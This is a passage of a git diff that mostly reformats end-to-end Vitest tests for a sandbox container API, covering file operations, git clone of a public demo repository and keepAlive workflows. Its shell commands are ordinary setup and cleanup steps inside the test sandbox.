= createTestHeaders(currentSandboxId); // Step 1: Create project directory structure await vi.waitFor( @@ -481,8 +478,8 @@ describe('File Operations Workflow (E2E)', () => { body: JSON.stringify({ path: '/workspace/myapp/src', - recursive: true, - }), + recursive: true + }) }); await fetch(`${workerUrl}/api/file/mkdir`, { @@ -491,8 +488,8 @@ describe('File Operations Workflow (E2E)', () => { body: JSON.stringify({ path: '/workspace/myapp/tests', - recursive: true, - }), + recursive: true + }) }); return fetch(`${workerUrl}/api/file/mkdir`, { @@ -501,8 +498,8 @@ describe('File Operations Workflow (E2E)', () => { body: JSON.stringify({ path: '/workspace/myapp/config', - recursive: true, - }), + recursive: true + }) }); }, { timeout: 90000, interval: 2000 } @@ -514,9 +511,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/myapp/package.json', - content: JSON.stringify({ name: 'myapp', version: '1.0.0' }), - - }), + content: JSON.stringify({ name: 'myapp', version: '1.0.0' }) + }) }); await fetch(`${workerUrl}/api/file/write`, { @@ -524,9 +520,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/myapp/src/index.js', - content: 'console.log("Hello World");', - - }), + content: 'console.log("Hello World");' + }) }); await fetch(`${workerUrl}/api/file/write`, { @@ -534,9 +529,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/myapp/config/dev.json', - content: JSON.stringify({ env: 'development' }), - - }), + content: JSON.stringify({ env: 'development' }) + }) }); // Step 3: Rename config file @@ -545,9 +539,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ oldPath: '/workspace/myapp/config/dev.json', - newPath: '/workspace/myapp/config/development.json', - - }), + newPath: '/workspace/myapp/config/development.json' + }) }); expect(renameResponse.status).toBe(200); @@ -559,8 +552,8 @@ describe('File Operations Workflow (E2E)', () => { body: JSON.stringify({ path: '/workspace/myapp/src/lib', - recursive: true, - }), + recursive: true + }) }); const moveResponse = await fetch(`${workerUrl}/api/file/move`, { @@ -568,9 +561,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ sourcePath: '/workspace/myapp/src/index.js', - destinationPath: '/workspace/myapp/src/lib/index.js', - - }), + destinationPath: '/workspace/myapp/src/lib/index.js' + }) }); expect(moveResponse.status).toBe(200); @@ -580,9 +572,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/myapp/package.json', - - }), + path: '/workspace/myapp/package.json' + }) }); const packageData = await readPackageResponse.json(); @@ -593,9 +584,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/myapp/config/development.json', - - }), + path: '/workspace/myapp/config/development.json' + }) }); const configData = await readConfigResponse.json(); @@ -606,9 +596,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/myapp/src/lib/index.js', - - }), + path: '/workspace/myapp/src/lib/index.js' + }) }); const indexData = await readIndexResponse.json(); @@ -620,9 +609,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'rm -rf /workspace/myapp', - - }), + command: 'rm -rf /workspace/myapp' + }) }); const deleteData = await deleteResponse.json(); @@ -634,9 +622,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'ls /workspace/myapp', - - }), + command: 'ls /workspace/myapp' + }) }); const lsData = await lsResponse.json(); @@ -653,14 +640,15 @@ describe('File Operations Workflow (E2E)', () => { // Try to write to /tmp (should work - users control their sandbox) const writeResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/tmp/test-no-restrictions.txt', - content: 'Users control their sandbox!', + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/tmp/test-no-restrictions.txt', + content: 'Users control their sandbox!' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -673,8 +661,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/tmp/test-no-restrictions.txt', - }), + path: '/tmp/test-no-restrictions.txt' + }) }); expect(readResponse.status).toBe(200); @@ -688,14 +676,15 @@ describe('File Operations Workflow (E2E)', () => { // Create a text file await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/test.txt', - content: 'Hello, World! This is a test.', + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/test.txt', + content: 'Hello, World! This is a test.' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -704,8 +693,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/test.txt', - }), + path: '/workspace/test.txt' + }) }); expect(readResponse.status).toBe(200); @@ -724,17 +713,19 @@ describe('File Operations Workflow (E2E)', () => { const headers = createTestHeaders(currentSandboxId); // Create a simple binary file (1x1 PNG - smallest valid PNG) - const pngBase64 = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChAI9jYlkKQAAAABJRU5ErkJggg=='; + const pngBase64 = + 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChAI9jYlkKQAAAABJRU5ErkJggg=='; // First create the file using exec with base64 decode await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: `echo '${pngBase64}' | base64 -d > /workspace/test.png`, + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: `echo '${pngBase64}' | base64 -d > /workspace/test.png` + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -743,8 +734,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/test.png', - }), + path: '/workspace/test.png' + }) }); expect(readResponse.status).toBe(200); @@ -769,14 +760,15 @@ describe('File Operations Workflow (E2E)', () => { // Write JSON file await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/config.json', - content: jsonContent, + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/config.json', + content: jsonContent + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -785,8 +777,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/config.json', - }), + path: '/workspace/config.json' + }) }); expect(readResponse.status).toBe(200); @@ -807,14 +799,15 @@ describe('File Operations Workflow (E2E)', () => { const largeContent = 'Line content\n'.repeat(1000); // 13KB file await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/large.txt', - content: largeContent, + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/large.txt', + content: largeContent + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -823,12 +816,14 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/large.txt', - }), + path: '/workspace/large.txt' + }) }); expect(streamResponse.status).toBe(200); - expect(streamResponse.headers.get('content-type')).toBe('text/event-stream'); + expect(streamResponse.headers.get('content-type')).toBe( + 'text/event-stream' + ); // Collect events from stream const reader = streamResponse.body?.getReader(); @@ -887,13 +882,18 @@ describe('File Operations Workflow (E2E)', () => { // Try to delete a file that doesn't exist const deleteResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/delete`, { - method: 'DELETE', - headers, - body: JSON.stringify({ - path: '/workspace/this-file-does-not-exist.txt', - }), - }, { expectSuccess: false }), // Don't throw on error - we expect this to fail + async () => + fetchWithStartup( + `${workerUrl}/api/file/delete`, + { + method: 'DELETE', + headers, + body: JSON.stringify({ + path: '/workspace/this-file-does-not-exist.txt' + }) + }, + { expectSuccess: false } + ), // Don't throw on error - we expect this to fail { timeout: 90000, interval: 2000 } ); @@ -910,14 +910,15 @@ describe('File Operations Workflow (E2E)', () => { // Create directory with files including executable script await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/project', - recursive: true, + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/project', + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -926,16 +927,17 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/project/data.txt', - content: 'Some data', - }), + content: 'Some data' + }) }); await fetch(`${workerUrl}/api/execute`, { method: 'POST', headers, body: JSON.stringify({ - command: 'echo "#!/bin/bash" > /workspace/project/script.sh && chmod +x /workspace/project/script.sh', - }), + command: + 'echo "#!/bin/bash" > /workspace/project/script.sh && chmod +x /workspace/project/script.sh' + }) }); // List files and verify metadata @@ -943,8 +945,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/project', - }), + path: '/workspace/project' + }) }); expect(listResponse.status).toBe(200); @@ -979,14 +981,15 @@ describe('File Operations Workflow (E2E)', () => { // Create nested directory structure await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/tree/level1/level2', - recursive: true, + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/tree/level1/level2', + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -995,8 +998,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/tree/root.txt', - content: 'Root', - }), + content: 'Root' + }) }); await fetch(`${workerUrl}/api/file/write`, { @@ -1004,8 +1007,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/tree/level1/level2/deep.txt', - content: 'Deep', - }), + content: 'Deep' + }) }); const listResponse = await fetch(`${workerUrl}/api/list-files`, { @@ -1013,8 +1016,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/tree', - options: { recursive: true }, - }), + options: { recursive: true } + }) }); expect(listResponse.status).toBe(200); @@ -1036,13 +1039,18 @@ describe('File Operations Workflow (E2E)', () => { // Test non-existent directory const notFoundResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/list-files`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/does-not-exist', - }), - }, { expectSuccess: false }), + async () => + fetchWithStartup( + `${workerUrl}/api/list-files`, + { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/does-not-exist' + }) + }, + { expectSuccess: false } + ), { timeout: 90000, interval: 2000 } ); @@ -1057,16 +1065,16 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/file.txt', - content: 'Not a directory', - }), + content: 'Not a directory' + }) }); const wrongTypeResponse = await fetch(`${workerUrl}/api/list-files`, { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/file.txt', - }), + path: '/workspace/file.txt' + }) }); expect(wrongTypeResponse.status).toBe(500); @@ -1080,14 +1088,15 @@ describe('File Operations Workflow (E2E)', () => { // Create a file and directory for testing await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/testdir', - recursive: true, + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/testdir', + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -1096,8 +1105,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/testfile.txt', - content: 'Test content', - }), + content: 'Test content' + }) }); // Check that file exists @@ -1105,8 +1114,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/testfile.txt', - }), + path: '/workspace/testfile.txt' + }) }); expect(fileExistsResponse.status).toBe(200); @@ -1119,8 +1128,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/testdir', - }), + path: '/workspace/testdir' + }) }); expect(dirExistsResponse.status).toBe(200); @@ -1133,8 +1142,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/nonexistent', - }), + path: '/workspace/nonexistent' + }) }); expect(notExistsResponse.status).toBe(200); diff --git a/tests/e2e/fixtures/websocket-echo-server.ts b/tests/e2e/fixtures/websocket-echo-server.ts index 12bc5bd9..818165ab 100644 --- a/tests/e2e/fixtures/websocket-echo-server.ts +++ b/tests/e2e/fixtures/websocket-echo-server.ts @@ -28,8 +28,8 @@ Bun.serve({ }, close(ws) { console.log('WebSocket client disconnected'); - }, - }, + } + } }); console.log(`WebSocket echo server listening on port ${port}`); diff --git a/tests/e2e/git-clone-workflow.test.ts b/tests/e2e/git-clone-workflow.test.ts index a36dba4a..b66ed1a6 100644 --- a/tests/e2e/git-clone-workflow.test.ts +++ b/tests/e2e/git-clone-workflow.test.ts @@ -1,6 +1,19 @@ -import { describe, test, expect, beforeAll, afterAll, afterEach, vi } from 'vitest'; +import { + describe, + test, + expect, + beforeAll, + afterAll, + afterEach, + vi +} from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; /** * Git Clone Workflow Integration Tests @@ -54,15 +67,16 @@ describe('Git Clone Workflow', () => { // Using octocat/Hello-World - a minimal test repository // Use vi.waitFor to handle container startup time const cloneResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/git/clone`, { - method: 'POST', - headers, - body: JSON.stringify({ - repoUrl: 'https://github.com/octocat/Hello-World', - branch: 'master', - targetDir: '/workspace/test-repo', + async () => + fetchWithStartup(`${workerUrl}/api/git/clone`, { + method: 'POST', + headers, + body: JSON.stringify({ + repoUrl: 'https://github.com/octocat/Hello-World', + branch: 'master', + targetDir: '/workspace/test-repo' + }) }), - }), { timeout: 90000, interval: 3000 } // Git clone can take longer, wait up to 90s ); @@ -75,8 +89,8 @@ describe('Git Clone Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/test-repo/README', - }), + path: '/workspace/test-repo/README' + }) }); expect(fileCheckResponse.status).toBe(200); @@ -91,16 +105,16 @@ describe('Git Clone Workflow', () => { // Clone a repository with a specific branch (using master for Hello-World) const cloneResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/git/clone`, { - method: 'POST', - headers, - body: JSON.stringify({ - repoUrl: 'https://github.com/octocat/Hello-World', - branch: 'master', // Explicitly specify master branch - targetDir: '/workspace/branch-test', - + async () => + fetchWithStartup(`${workerUrl}/api/git/clone`, { + method: 'POST', + headers, + body: JSON.stringify({ + repoUrl: 'https://github.com/octocat/Hello-World', + branch: 'master', // Explicitly specify master branch + targetDir: '/workspace/branch-test' + }) }), - }), { timeout: 90000, interval: 3000 } ); @@ -113,9 +127,8 @@ describe('Git Clone Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'cd /workspace/branch-test && git branch --show-current', - - }), + command: 'cd /workspace/branch-test && git branch --show-current' + }) }); expect(branchCheckResponse.status).toBe(200); @@ -129,15 +142,15 @@ describe('Git Clone Workflow', () => { // Step 1: Clone the Hello-World repository const cloneResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/git/clone`, { - method: 'POST', - headers, - body: JSON.stringify({ - repoUrl: 'https://github.com/octocat/Hello-World', - targetDir: '/workspace/project', - + async () => + fetchWithStartup(`${workerUrl}/api/git/clone`, { + method: 'POST', + headers, + body: JSON.stringify({ + repoUrl: 'https://github.com/octocat/Hello-World', + targetDir: '/workspace/project' + }) }), - }), { timeout: 90000, interval: 3000 } ); @@ -148,9 +161,8 @@ describe('Git Clone Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'ls -la /workspace/project', - - }), + command: 'ls -la /workspace/project' + }) }); expect(listResponse.status).toBe(200); @@ -164,9 +176,8 @@ describe('Git Clone Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/project/README', - - }), + path: '/workspace/project/README' + }) }); expect(readmeResponse.status).toBe(200); @@ -178,9 +189,8 @@ describe('Git Clone Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'cd /workspace/project && git log --oneline -1', - - }), + command: 'cd /workspace/project && git log --oneline -1' + }) }); expect(gitLogResponse.status).toBe(200); @@ -195,14 +205,14 @@ describe('Git Clone Workflow', () => { // Clone without specifying targetDir (should use repo name "Hello-World") const cloneResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/git/clone`, { - method: 'POST', - headers, - body: JSON.stringify({ - repoUrl: 'https://github.com/octocat/Hello-World', - + async () => + fetchWithStartup(`${workerUrl}/api/git/clone`, { + method: 'POST', + headers, + body: JSON.stringify({ + repoUrl: 'https://github.com/octocat/Hello-World' + }) }), - }), { timeout: 90000, interval: 3000 } ); @@ -216,9 +226,8 @@ describe('Git Clone Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'ls -la /workspace', - - }), + command: 'ls -la /workspace' + }) }); expect(dirCheckResponse.status).toBe(200); @@ -232,14 +241,19 @@ describe('Git Clone Workflow', () => { // Try to clone a non-existent repository const cloneResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/git/clone`, { - method: 'POST', - headers, - body: JSON.stringify({ - repoUrl: 'https://github.com/nonexistent/repository-that-does-not-exist-12345', - - }), - }, { expectSuccess: false }), // Don't throw on error - we expect this to fail + async () => + fetchWithStartup( + `${workerUrl}/api/git/clone`, + { + method: 'POST', + headers, + body: JSON.stringify({ + repoUrl: + 'https://github.com/nonexistent/repository-that-does-not-exist-12345' + }) + }, + { expectSuccess: false } + ), // Don't throw on error - we expect this to fail { timeout: 90000, interval: 2000 } ); @@ -248,7 +262,9 @@ describe('Git Clone Workflow', () => { const errorData = await cloneResponse.json(); expect(errorData.error).toBeTruthy(); // Should mention repository not found or doesn't exist - expect(errorData.error).toMatch(/not found|does not exist|repository|fatal/i); + expect(errorData.error).toMatch( + /not found|does not exist|repository|fatal/i + ); }); test('should handle git clone errors for private repository without auth', async () => { @@ -258,14 +274,19 @@ describe('Git Clone Workflow', () => { // Try to clone a private repository without providing credentials // Using a known private repo pattern (will fail with auth error) const cloneResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/git/clone`, { - method: 'POST', - headers, - body: JSON.stringify({ - repoUrl: 'https://github.com/cloudflare/private-test-repo-that-requires-auth', - - }), - }, { expectSuccess: false }), // Don't throw on error - we expect this to fail + async () => + fetchWithStartup( + `${workerUrl}/api/git/clone`, + { + method: 'POST', + headers, + body: JSON.stringify({ + repoUrl: + 'https://github.com/cloudflare/private-test-repo-that-requires-auth' + }) + }, + { expectSuccess: false } + ), // Don't throw on error - we expect this to fail { timeout: 90000, interval: 2000 } ); @@ -274,7 +295,9 @@ describe('Git Clone Workflow', () => { const errorData = await cloneResponse.json(); expect(errorData.error).toBeTruthy(); // Should mention authentication, permission, or access denied - expect(errorData.error).toMatch(/authentication|permission|access|denied|fatal|not found/i); + expect(errorData.error).toMatch( + /authentication|permission|access|denied|fatal|not found/i + ); }); test('should maintain session state across git clone and subsequent commands', async () => { @@ -283,15 +306,15 @@ describe('Git Clone Workflow', () => { // Step 1: Clone a repository const cloneResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/git/clone`, { - method: 'POST', - headers, - body: JSON.stringify({ - repoUrl: 'https://github.com/octocat/Hello-World', - targetDir: '/workspace/state-test', - + async () => + fetchWithStartup(`${workerUrl}/api/git/clone`, { + method: 'POST', + headers, + body: JSON.stringify({ + repoUrl: 'https://github.com/octocat/Hello-World', + targetDir: '/workspace/state-test' + }) }), - }), { timeout: 90000, interval: 3000 } ); @@ -303,9 +326,8 @@ describe('Git Clone Workflow', () => { headers, body: JSON.stringify({ path: '/workspace/state-test/test-marker.txt', - content: 'Session state test', - - }), + content: 'Session state test' + }) }); expect(writeResponse.status).toBe(200); @@ -315,9 +337,8 @@ describe('Git Clone Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'ls /workspace/state-test', - - }), + command: 'ls /workspace/state-test' + }) }); expect(listResponse.status).toBe(200); diff --git a/tests/e2e/helpers/test-fixtures.ts b/tests/e2e/helpers/test-fixtures.ts index 66a5b573..56b46588 100644 --- a/tests/e2e/helpers/test-fixtures.ts +++ b/tests/e2e/helpers/test-fixtures.ts @@ -43,10 +43,13 @@ export function createSessionId(): string { * const headers1 = createTestHeaders(sandboxId, createSessionId()); * const headers2 = createTestHeaders(sandboxId, createSessionId()); */ -export function createTestHeaders(sandboxId: string, sessionId?: string): Record { +export function createTestHeaders( + sandboxId: string, + sessionId?: string +): Record { const headers: Record = { 'Content-Type': 'application/json', - 'X-Sandbox-Id': sandboxId, + 'X-Sandbox-Id': sandboxId }; if (sessionId) { @@ -107,7 +110,8 @@ export async function waitForCondition( ): Promise { const timeout = options.timeout || 10000; const interval = options.interval || 500; - const errorMessage = options.errorMessage || 'Condition not met within timeout'; + const errorMessage = + options.errorMessage || 'Condition not met within timeout'; const startTime = Date.now(); @@ -116,7 +120,7 @@ export async function waitForCondition( return await condition(); } catch (error) { // Wait before retrying - await new Promise(resolve => setTimeout(resolve, interval)); + await new Promise((resolve) => setTimeout(resolve, interval)); } } @@ -127,7 +131,7 @@ export async function waitForCondition( * Sleep for specified milliseconds */ export function sleep(ms: number): Promise { - return new Promise(resolve => setTimeout(resolve, ms)); + return new Promise((resolve) => setTimeout(resolve, ms)); } /** @@ -210,18 +214,23 @@ export async function fetchWithStartup( * }); * ``` */ -export async function cleanupSandbox(workerUrl: string, sandboxId: string): Promise { +export async function cleanupSandbox( + workerUrl: string, + sandboxId: string +): Promise { try { const headers = createTestHeaders(sandboxId); // Call the cleanup RPC method via a special endpoint const response = await fetch(`${workerUrl}/cleanup`, { method: 'POST', - headers, + headers }); if (!response.ok) { - console.warn(`Failed to cleanup sandbox ${sandboxId}: ${response.status}`); + console.warn( + `Failed to cleanup sandbox ${sandboxId}: ${response.status}` + ); } else { console.log(`Cleaned up sandbox: ${sandboxId}`); } diff --git a/tests/e2e/helpers/wrangler-runner.ts b/tests/e2e/helpers/wrangler-runner.ts index ae0f3d18..e5e9ed6e 100644 --- a/tests/e2e/helpers/wrangler-runner.ts +++ b/tests/e2e/helpers/wrangler-runner.ts @@ -19,7 +19,10 @@ export interface WranglerDevOptions { * NOTE: wrangler.jsonc is generated from wrangler.template.jsonc automatically * on first run. You don't need to run any setup commands manually. */ -export async function getTestWorkerUrl(): Promise<{ url: string; runner: WranglerDevRunner | null }> { +export async function getTestWorkerUrl(): Promise<{ + url: string; + runner: WranglerDevRunner | null; +}> { // CI mode: use deployed worker URL if (process.env.TEST_WORKER_URL) { console.log('Using deployed test worker:', process.env.TEST_WORKER_URL); @@ -82,13 +85,17 @@ export class WranglerDevRunner { this.process = spawn('npx', ['wrangler', 'dev'], { cwd: this.options.cwd, env: this.options.env || process.env, - stdio: 'pipe', + stdio: 'pipe' }); // Capture stdout/stderr and extract URL this.urlPromise = new Promise((resolve, reject) => { const timeoutId = setTimeout(() => { - reject(new Error(`Timeout after ${this.timeout}ms waiting for wrangler dev to be ready`)); + reject( + new Error( + `Timeout after ${this.timeout}ms waiting for wrangler dev to be ready` + ) + ); }, this.timeout); this.process.stdout.on('data', (data: Buffer) => { @@ -118,11 +125,19 @@ export class WranglerDevRunner { this.process.on('exit', (code, signal) => { if (code !== 0 && code !== null) { clearTimeout(timeoutId); - reject(new Error(`Wrangler dev exited with code ${code} before becoming ready`)); + reject( + new Error( + `Wrangler dev exited with code ${code} before becoming ready` + ) + ); } if (signal) { clearTimeout(timeoutId); - reject(new Error(`Wrangler dev killed by signal ${signal} before becoming ready`)); + reject( + new Error( + `Wrangler dev killed by signal ${signal} before becoming ready` + ) + ); } }); }); @@ -172,17 +187,19 @@ export class WranglerDevRunner { this.process.kill('SIGTERM'); // Wait for process to exit (with timeout) - const exitPromise = new Promise(resolve => { + const exitPromise = new Promise((resolve) => { this.process.on('close', () => { console.log('Wrangler process stopped gracefully'); resolve(); }); }); - const timeoutPromise = new Promise(resolve => { + const timeoutPromise = new Promise((resolve) => { setTimeout(() => { if (!this.process.killed) { - console.warn('Wrangler process did not stop gracefully, sending SIGKILL'); + console.warn( + 'Wrangler process did not stop gracefully, sending SIGKILL' + ); this.process.kill('SIGKILL'); } resolve(); diff --git a/tests/e2e/keepalive-workflow.test.ts b/tests/e2e/keepalive-workflow.test.ts index 55b117d8..12065a97 100644 --- a/tests/e2e/keepalive-workflow.test.ts +++ b/tests/e2e/keepalive-workflow.test.ts @@ -1,6 +1,19 @@ -import { describe, test, expect, beforeAll, afterAll, afterEach, vi } from 'vitest'; +import { + describe, + test, + expect, + beforeAll, + afterAll, + afterEach, + vi +} from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; /** * KeepAlive Workflow Integration Tests @@ -50,18 +63,19 @@ describe('KeepAlive Workflow', () => { // Add keepAlive header to enable keepAlive mode const keepAliveHeaders = { ...headers, - 'X-Sandbox-KeepAlive': 'true', + 'X-Sandbox-KeepAlive': 'true' }; // Step 1: Initialize sandbox with keepAlive const initResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers: keepAliveHeaders, - body: JSON.stringify({ - command: 'echo "Container initialized with keepAlive"', + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers: keepAliveHeaders, + body: JSON.stringify({ + command: 'echo "Container initialized with keepAlive"' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -78,8 +92,8 @@ describe('KeepAlive Workflow', () => { method: 'POST', headers: keepAliveHeaders, body: JSON.stringify({ - command: 'echo "Still alive after timeout period"', - }), + command: 'echo "Still alive after timeout period"' + }) }); expect(verifyResponse.status).toBe(200); @@ -93,18 +107,19 @@ describe('KeepAlive Workflow', () => { const keepAliveHeaders = { ...headers, - 'X-Sandbox-KeepAlive': 'true', + 'X-Sandbox-KeepAlive': 'true' }; // Start a long sleep process (30 seconds) const startResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/process/start`, { - method: 'POST', - headers: keepAliveHeaders, - body: JSON.stringify({ - command: 'sleep 30', + async () => + fetchWithStartup(`${workerUrl}/api/process/start`, { + method: 'POST', + headers: keepAliveHeaders, + body: JSON.stringify({ + command: 'sleep 30' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -117,10 +132,13 @@ describe('KeepAlive Workflow', () => { await new Promise((resolve) => setTimeout(resolve, 20000)); // Verify process is still running - const statusResponse = await fetch(`${workerUrl}/api/process/${processId}`, { - method: 'GET', - headers: keepAliveHeaders, - }); + const statusResponse = await fetch( + `${workerUrl}/api/process/${processId}`, + { + method: 'GET', + headers: keepAliveHeaders + } + ); expect(statusResponse.status).toBe(200); const statusData = await statusResponse.json(); @@ -129,7 +147,7 @@ describe('KeepAlive Workflow', () => { // Cleanup - kill the process await fetch(`${workerUrl}/api/process/${processId}`, { method: 'DELETE', - headers: keepAliveHeaders, + headers: keepAliveHeaders }); }, 120000); @@ -139,25 +157,26 @@ describe('KeepAlive Workflow', () => { const keepAliveHeaders = { ...headers, - 'X-Sandbox-KeepAlive': 'true', + 'X-Sandbox-KeepAlive': 'true' }; // Step 1: Initialize sandbox with keepAlive await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers: keepAliveHeaders, - body: JSON.stringify({ - command: 'echo "Testing destroy"', + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers: keepAliveHeaders, + body: JSON.stringify({ + command: 'echo "Testing destroy"' + }) }), - }), { timeout: 90000, interval: 2000 } ); // Step 2: Explicitly destroy the container const destroyResponse = await fetch(`${workerUrl}/cleanup`, { method: 'POST', - headers: keepAliveHeaders, + headers: keepAliveHeaders }); expect(destroyResponse.status).toBe(200); @@ -170,8 +189,8 @@ describe('KeepAlive Workflow', () => { method: 'POST', headers: keepAliveHeaders, body: JSON.stringify({ - command: 'echo "After destroy"', - }), + command: 'echo "After destroy"' + }) }); // Container should be restarted (new container), not the same one @@ -188,18 +207,19 @@ describe('KeepAlive Workflow', () => { const keepAliveHeaders = { ...headers, - 'X-Sandbox-KeepAlive': 'true', + 'X-Sandbox-KeepAlive': 'true' }; // Initialize await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers: keepAliveHeaders, - body: JSON.stringify({ - command: 'echo "Command 1"', + async () => + 